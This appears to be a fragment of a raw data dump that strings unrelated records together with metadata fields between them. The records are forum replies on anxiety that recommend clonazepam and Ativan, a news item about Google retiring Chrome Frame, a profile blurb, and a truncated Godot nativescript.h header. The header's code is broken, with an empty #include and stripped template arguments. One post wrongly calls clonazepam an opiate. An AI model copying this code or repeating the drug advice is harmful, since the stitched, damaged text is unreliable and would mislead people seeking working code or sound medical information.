HouseHeadSacha\nI disagree. They are \"habit-forming\" ( its an opiate!) as it says on the pamphlet but they DO help. It is a short term solution but do they ever make you feel RELAXED! Recommended to get \"out\" of an attack, or if you feel one coming on, or even if you're just feeling too anxious/nervous! (I took clonazepam for a few months, and it worked well.) I remember when I was taking them, I would think to myself, \"Why can't I feel like this all the time\"? Just so damn chill/laid back/relaxed!---but NOT a headfuck!\nOriginally posted by phunkymunky\nugh anxiety/panic. i have generalized anxiety disorder. been dealing with it since fall of 2002. it's been the worst thing i've ever gone through. i can't really elaborate on it right now as i need to go to bed. maybe tomorrow. but ya it's been hell and i'm still in hell. about to start a new med. and yes the meds can make things worse but they can also make things better.\nativan was amazing and worked so well when i took it. i had to take it while on vacation last year or i would not have enjoyed my vacation. i've been off work on disability since sept and just returned back and my anxiety is really bad this week.\nOriginally posted by ~NurSe JibZ~\nthere are tons of sites on the net dedicated to this as well with lots of helpful info. look into it, i have no doubt you will be ok. if you want a dope therapist and live in the downtown toronto area i can recommend mine. she is super cool.\npm me if you want deets.\nOriginally posted by Jeffsus\nGet closer to baseline. Do not drink caffeine or use drugs, including alcohol and nicotine! Alcohol, nicotine, weed, all these things affect your sober times in unpredictable ways. Withdrawal from them is well known to affect things like anxiety. You need to \"get over the hump\" which can take quite a while; though for many people an order of a week should be good.\nTry to get some intense exercise at least a couple times a week, which will help you to sleep regularly, which helps with anxiety a lot, in my experience.\nEat healthy foods, avoid blood sugar spikes and depressions.\nThis simple advice is a necessary starting spot for someone in your condition. You also obviously need to see a doctor.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 605, "token_count_with_eod": 606, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Google is shutting down the Chrome Frame product in January 2014. Launched in 2009, Google Chrome Frame is a free plugin for Internet Explorer 6, 7, 8 and 9 on Windows 7, Vista or XP SP2+ that serves as a way to view websites with modern HTML5 elements for older versions of the browser assuming that they have right meta tags.\nGoogle Chrome Frame seems to be no longer needed now that newer versions of Internet Explorer support HTML5. However, there has been some complaints from people that work at universities, hospitals, and government organizations where upgrades do not happen often.\n“Today, most people are using modern browsers that support the majority of the latest Web technologies,” stated Google Chrome engineer Robert Shield. “Better yet, the usage of legacy browsers is declining significantly and newer browsers stay up to date automatically, which means the leading edge has become mainstream.”\nShield recommended that IT managers use Chrome for Business in conjunction with the Legacy Browser Support. Legacy Browser Support is a Chrome extension that lets you launch an installed legacy version of IE when necessary.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 226, "token_count_with_eod": 227, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "AboutOriginal '03 Gaian. ♫\nI'm not around much anymore. I do tend to check my PM's from time-to-time.\nFeel free to send me a PM.\nAnd I swore I'd give you the key to my most tiniest locket\nwhere I store my most deviest secrets you can find in most pockets", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/*************************************************************************/\n/* nativescript.h */\n/*************************************************************************/\n/* This file is part of: */\n/* GODOT ENGINE */\n/* https://godotengine.org */\n/*************************************************************************/\n/* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur. */\n/* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md). */\n/* */\n/* Permission is hereby granted, free of charge, to any person obtaining */\n/* a copy of this software and associated documentation files (the */\n/* \"Software\"), to deal in the Software without restriction, including */\n/* without limitation the rights to use, copy, modify, merge, publish, */\n/* distribute, sublicense, and/or sell copies of the Software, and to */\n/* permit persons to whom the Software is furnished to do so, subject to */\n/* the following conditions: */\n/* */\n/* The above copyright notice and this permission notice shall be */\n/* included in all copies or substantial portions of the Software. */\n/* */\n/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, */\n/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */\n/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/\n/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */\n/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */\n/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */\n/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */\n/*************************************************************************/\n\n#pragma once\n\n#include \"core/io/resource_loader.h\"\n#include \"core/io/resource_saver.h\"\n#include \"core/method_info.h\"\n#include \"core/oa_hash_map.h\"\n#include \"core/ordered_hash_map.h\"\n#include \"core/os/thread_safe.h\"\n#include \"core/resource.h\"\n#include \"core/script_language.h\"\n#include \"core/self_list.h\"\n#include \"core/hash_set.h\"\n#include \"scene/main/node.h\"\n\n#include \"modules/gdnative/gdnative.h\"\n#include \n\n#include \"core/os/mutex.h\"\n\nstruct NativeScriptDesc {\n\n struct Method {\n godot_instance_method method;\n MethodInfo info;\n int rpc_mode;\n String documentation;\n };\n struct Property {\n godot_property_set_func setter;\n godot_property_get_func getter;\n PropertyInfo info;\n Variant default_value;\n int rset_mode;\n String documentation;\n };\n\n struct Signal {\n MethodInfo signal;\n String documentation;\n };\n\n Map methods;\n OrderedHashMap properties;\n Map signals_; // QtCreator doesn't like the name signals\n StringName base;\n StringName base_native_type;\n NativeScriptDesc *base_data;\n godot_instance_create_func create_func;\n godot_instance_destroy_func destroy_func;\n\n String documentation;\n\n const void *type_tag;\n\n bool is_tool;\n\n inline NativeScriptDesc() :\n methods(),\n properties(),\n signals_(),\n base(),\n base_native_type(),\n documentation(),\n type_tag(nullptr) {\n memset(&create_func, 0, sizeof(godot_instance_create_func));\n memset(&destroy_func, 0, sizeof(godot_instance_destroy_func));\n }\n};\n\nclass NativeScript : public Script {\n GDCLASS(NativeScript,Script)\n\n#ifdef TOOLS_ENABLED\n HashSet placeholders;\n void _update_placeholder(PlaceHolderScriptInstance *p_placeholder);\n void _placeholder_erased(PlaceHolderScriptInstance *p_placeholder) override;\n#endif\n\n friend class NativeScriptInstance;\n friend class NativeScriptLanguage;\n friend class NativeReloadNode;\n friend class GDNativeLibrary;\n\n Ref library;\n\n String lib_path;\n\n StringName class_name;\n\n String script_class_name;\n String script_class_icon_path;\n\n Mutex *owners_lock;\n HashSet instance_owners;\n\nprotected:\n static void _bind_methods();\n\npublic:\n inline NativeScriptDesc *get_script_desc() const;\n\n void set_class_name(String p_class_name);\n String get_class_name() const;\n\n void set_library(Ref p_library);\n Ref get_library() const;\n\n void set_script_class_name(String p_type);\n String get_script_class_name() const;\n void set_script_class_icon_path(String p_icon_path);\n String get_script_class_icon_path() const;\n\n bool can_instance() const override;\n\n Ref